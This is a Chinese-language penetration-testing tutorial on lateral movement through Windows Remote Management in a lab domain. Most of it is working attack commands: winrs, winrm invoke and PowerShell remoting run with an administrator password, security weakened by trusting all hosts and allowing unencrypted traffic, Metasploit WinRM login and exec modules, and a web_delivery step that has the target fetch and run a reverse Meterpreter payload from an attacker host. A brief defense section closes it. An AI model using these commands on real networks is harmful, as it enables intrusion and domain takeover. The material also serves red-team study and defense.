利用 WinRM 進行橫向滲透
前言
WinRM 作為 Windows 操作系統的一部分,是一項允許管理員在系統上遠程執行管理任務的服務。這樣的服務當然不會被攻擊者錯過,本篇文章我們就來講講 WinRM 在橫向滲透中的使用。
WinRM 服務簡介
WinRM 是 Windows Remote Managementd(Windows 遠程管理)的簡稱,是 Web 服務管理標準 WebService-Management 協議的 Microsoft 實現。該協議是基于簡單對象訪問協議(SOAP)的、防火墻友好的標準協議,允許來自不同供應商的硬件和操作系統能夠互操作。
WinRM 作為 Windows 操作系統的一部分,是一項允許管理員在系統上遠程執行管理任務的服務。并且,WinRM 默認情況下支持 Kerberos 和 NTLM 身份驗證以及基本身份驗證,初始身份驗證后,WinRM 會話將使用 AES 加密保護。使用 WinRM 服務需要擁有管理員級別的權限。
在現代 Windows 系統中,WinRM HTTP 通過 TCP 端口 5985 進行通信,而 HTTPS(TLS)通過 TCP 端口 5986 進行通信。如果所有的機器都是在域環境下,則可以使用默認的 5985 端口,否則的話則通過 5986 端口使用 HTTPS 傳輸。
使用 WinRM 我們可以在遠程主機設置了防火墻的情況下遠程管理這臺服務器,因為啟動 WinRM 服務后,防火墻默認會自動放行 5985 端口。這樣的管理服務當然不會被攻擊者錯過,在內網滲透中,我們可以使用 WinRM 服務進行橫向移動,并且使用這種遠程連接進行橫向移動不容易被察覺到,也不會占用遠程連接數。
WinRM 服務的安裝與配置
要利用 WinRM 服務,并讓 winrm 命令行工具執行相應操作,通信的雙方必須同時安裝和配置好 Windows 遠程管理。
WinRM 服務的安裝
Windows 遠程管理服務(WinRM)適用于 Windows Server 2008 和 Windows 7 以后的操作系統并自動與其支持的操作系統一起安裝,但是只有在 Windows Server 2008 以上的操作系統 WinRM 服務才會自動啟動,其他都需要手動開啟。
WinRM 服務的配置
默認情況下,不配置 WinRM 偵聽器。即使 WinRM 服務正在運行,也不能接收或發送 WS-Management 協議消息。
使用以下命令可以查看 WinRM 偵聽器配置情況:
winrm e winrm/config/listener # 或 winrm enumerate winrm/config/listener
image-20210804153757275
如上圖,有幾個參數:
?Address:表示監聽器所監聽的地址。?Transport:用于指定用于發送和接收 WS-Management 協議請求和響應的傳輸類型,如 HTTP 或 HTTPS,其默認值為 HTTP。?Port:表示監聽器所監聽 TCP 端口。?Hostname:正在運行 WinRM 服務的計算機的主機名。該值必須是完全限定的域名、IPv4 或 IPv6 文本字符串或通配符。?Enabled:表示是啟用還是禁用偵聽器,其默認值為 True,表示啟用。?URLPrefix:用于指定要在其上接受 HTTP 或 HTTPS 請求的 URL 前綴。例如,如果計算機名稱為 SampleMachine,則 WinRM 客戶端將在目標地址中指定 https://SampleMachine/<在目標地址中指定的 URLPrefix>。默認 URL 前綴為 "wsman"。?CertificateThumbprint:用于指定服務證書的指紋。?ListeningOn:用于指定偵聽器使用的 IPv4 和 IPv6 地址。
若要檢查具體配置設置的狀態,可以使用以下命令:
winrm get winrm/config

你可以使用以下命令啟動 WinRM 服務,并對 WinRM 服務進行默認配置:
winrm quickconfig

該命令將執行以下這些操作:
?啟動 WinRM 服務,并將服務啟動類型設置為 "自動啟動"。啟動后,防火墻會默認并放行 5985 端口。?為在任何 IP 地址上使用 HTTP 或 HTTPS 發送和接收 WS-Management 協議消息的端口配置偵聽器。?定義 WinRM 服務的 ICF 異常,并打開 HTTP 和 HTTPS 端口。
還有一些其他配置命令:
# 使用 PowerShell 查詢 WinRM 狀態
Get-WmiObject-Class win32_service | Where-Object{$_.name -like "WinRM"}
# 開啟 WinRM 遠程管理
Enable-PSRemoting–force
# 設置 WinRM 自啟動
Set-ServiceWinRM-StartModeAutomatic
# 對 WinRM 服務進行快速配置,包括開啟 WinRM 和開啟防火墻異常檢測, HTTPS傳輸, 5986端口
winrm quickconfig -transport:https
# 為 WinRM 服務配置認證
winrm set winrm/config/service/auth @{Basic="true"}
# 修改 WinRM 默認端口
winrm set winrm/config/client/DefaultPorts@{HTTPS="8888"}
# 為 WinRM 服務配置加密方式為允許非加密:
winrm set winrm/config/service @{AllowUnencrypted="true"}
# 設置只允許指定 IP 遠程連接 WinRM
winrm set winrm/config/Client@{TrustedHosts="192.168.10.*"}
# 設置允許所有 IP 遠程連接 WinRM
winrm set winrm/config/Client@{TrustedHosts="*"}
WinRM 的默認組訪問權限
在安裝過程中,WinRM 將創建本地組 WinRMRemoteWMIUsers__,然后,WinRM 將遠程訪問設置為本地管理組和 WinRMRemoteWMIUsers__ 組中的用戶。我們可以通過以下命令
net localgroup WinRMRemoteWMIUsers__/add
來向 WinRMRemoteWMIUsers__ 組中添加本地用戶、域用戶或域組。
利用 WinRM 服務遠程執行命令
使用 winrs 命令
WinRS 是 Windows 的遠程 Shell,它相當于 WinRM 的客戶端,使用它可以訪問運行有 WinRM 的服務器,不過自己也得裝上 WinRM 才能運行 WinRS。使用如下。
在 WinRM 客戶端主機上執行以下命令:
winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 whoami winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 ipconfig # winrs -r:[ip] -u:[username] -p:[password]
執行后得到以下報錯:

Winrs error:WinRM 客戶端無法處理該請求。可以在下列條件下將默認身份驗證與 IP 地址結合使用: 傳輸為 HTTPS 或目標位于 TrustedHosts 列表中,并且提供了顯式憑據。使用 winrm.cmd 配置 TrustedHosts。請注意,TrustedHosts 列表中的計算機可能未經過身份驗證。有關如何設置 TrustedHosts 的詳細信息,請運行以下命令: winrm help config。
此時,需要在客戶端上執行下面這條命令,設置為信任所有主機,再去連接即可:
winrm set winrm/config/Client@{TrustedHosts="*"}
然后便可以正常使用了:

如上圖所示,成功在遠程主機上執行命令。
使用 winrm 命令
我們也可以直接通過 winrm 命令執行遠程主機上的程序,通常是木馬程序,這里我們嘗試執行啟動一個計算器:
winrm invoke create wmicimv2/win32_process -SkipCAcheck-skipCNcheck @{commandline="calc.exe"} -r:DC.whoamianony.org

如下圖所示,成功正在遠程主機上啟動了一個 calc 進程:

使用 Invoke-Command 命令
Invoke-Command 是 PowerShell 上的一個命令,用來在本地或遠程計算機上執行命令。如下所示:
Invoke-Command-ComputerName192.168.93.30-Credential whoamianony\administrator -Command{ipconfig}
# Invoke-Command -ComputerName [host] -Credential [user] -Command {[command]}
# Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock {[command]}
?-ComputerName:指定要連接的遠程主機名或者 IP。?-Credential:指定有權連接到遠程計算機的用戶的帳戶。?-Command:指定需要執行的命令。

如上圖所示,成功在遠程主機上執行命令。
利用 WinRM 獲取交互式會話
使用 winrs 命令
在 WinRM 客戶端主機上執行以下命令啟動遠程主機的 CMD 即可:
winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 cmd

使用 Enter-PSSession 命令
使用 Enter-PSSession 可以在 PowerShell 上直接啟動一個與遠程主機的交互式會話。在會話期間,您鍵入的命令在遠程計算機上運行,就像您直接在遠程計算機上鍵入一樣。
在 WinRM 客戶端主機上執行以下命令:
New-PSSession-NameWinRM1-ComputerName DC.whoamianony.org -Credential whoamianony\administrator -Port5985
?-Name:指定啟動的會話名稱。?-ComputerName:指定要連接的遠程主機名或者 IP。?-Credential:指定有權連接到遠程計算機的用戶的帳戶。?-Port:指定 WinRM 工作端口。
如下圖所示,執行該命令后,成功啟動了一個與遠程主機的交互式會話,該會話的名稱為 WinRM1:

執行 Get-PSSession 命令可以查看當前創建的所有會話:

此時,可以選中一個會話進入其交互模式執行命令,:
Enter-PSSession-NameWinRM1

執行 Exit-PSSession 命令即可退出當前會話。
注意,如果當前網絡環境是工作組環境運行,或客戶端未加入域,直接使用 Enter-PSSession 可能會報錯以下錯誤:
Winrs error:WinRM 客戶端無法處理該請求。如果身份驗證方案與 Kerberos 不同,或者客戶端計算機未加入到域中,則必須使用 HTTPS 傳輸或者必須將目標計算機添加到 TrustedHosts 配置設置。使用 winrm.cmd 配置 TrustedHosts。請注意,TrustedHosts 列表中的計算機可能未經過身份驗證。通過運行以下命令 可獲得有關此內容的更多信息: winrm help config。
此時則需要先在客戶端執行以下命令才能使用 Enter-PSSession:
Set-Item wsman:localhostClientTrustedHosts -value *
利用 WinRM 進行橫向滲透
測試環境如下:

假設此時攻擊者已經拿下了內網中的主機 Windows 10,需要繼續以 Windows 10 為跳板進行橫向移動來拿下 Windows Server 2012,假設此時已經獲取到了一個域管理員的登錄憑據,并且通過端口掃描發現 Windows Server 2012 開啟了 WinRM 服務:

下面我們嘗試通過 WinRM 獲取 Windows Server 2012 的控制權。
使用 Metasploit 內置模塊
Metasploit 框架內置了多個模塊,可用于發現啟用了 WinRM 服務的主機,發現用于服務認證的憑證以及執行任意命令和代碼。
auxiliary/scanner/winrm/winrm_auth_methods auxiliary/scanner/winrm/winrm_login auxiliary/scanner/winrm/winrm_cmd exploit/windows/winrm/winrm_script_exec
下面我們依次試用上述模塊。
?auxiliary/scanner/winrm/winrm_auth_methods
該模塊可以發現啟用了 WinRM 服務的系統及其支持的身份驗證協議,使用如下:
use auxiliary/scanner/winrm/winrm_auth_methods set DOMAIN whoamianony set rhosts 192.168.93.30 run

如上圖所示,發現遠程主機 Windows Server 2012 開啟了 WinRM 服務并且三種類型的身份驗證都支持。
?auxiliary/scanner/winrm/winrm_login
模塊可以確定我們獲得的管理員憑據是否對其他系統有效:
use auxiliary/scanner/winrm/winrm_login set DOMAIN whoamianony set USERNAME administrator set PASSWORD Whoami2021 set rhosts 192.168.93.30 set rport 5985 run

如上圖所示當前管理員憑據對目標主機 Windows Server 2012 是有效的。確定憑據有效后,我們開始嘗試對目標主機 Windows Server 2012 執行命令。
?auxiliary/scanner/winrm/winrm_cmd
該模塊可以通過 WinRM 服務對遠程主機執行任意命令,該模塊需要有管理員權限的憑據。
use auxiliary/scanner/winrm/winrm_cmd set rhosts 192.168.93.30 set DOMAIN whoamianony set USERNAME administrator set PASSWORD Whoami2021 set CMD ipconfig # 設置需要執行的命令 run

?exploit/windows/winrm/winrm_script_exec
該模塊將嘗試修改 PowerShell 執行策略以允許執行未簽名的腳本,然后將 PowerShell 腳本寫入磁盤并自動執行以返回一個 Meterpreter 會話。
use exploit/windows/winrm/winrm_script_exec set rhosts 192.168.93.30 set DOMAIN whoamianony set USERNAME administrator set PASSWORD Whoami2021 set payload windows/meterpreter/bind_tcp set rhost 192.168.93.30 set lport 4444 exploit
執行后,如攻擊成功,則可獲得一個目標主機的 Meterpreter 會話。我這里在本地測試的時候沒有成功不知道為什么。
借助 Web_delivery 模塊
首先我們使用 Web_delivery 模塊在攻擊機上開啟 Web 服務托管 Payload:
use exploit/multi/script/web_delivery set target 2# 選擇使用powershell類型的payload set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.93.129 set lport 4444 exploit

然后再在 Windows 10 的 Meterpreter Shell 中通過 winrs 對 Windows Server 2012 執行命令,獲取一個 交互的 Shell:
winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 cmd

然后在 Windows Server 2012 的 Shell 中執行 Web_delivery 模塊生成的 PowerShell 命令即可上線:

對于 WinRM 橫向移動的防御
對于防御來自 WinRM 的橫向移動,我們可以考慮以下兩個方面。
?設置主機白名單,僅允許某些可信的計算機連接到 WinRM 服務器。?嚴格限制,確保僅允許本地管理組和 WinRMRemoteWMIUsers__ 組中的用戶有權使用 WinRM。?......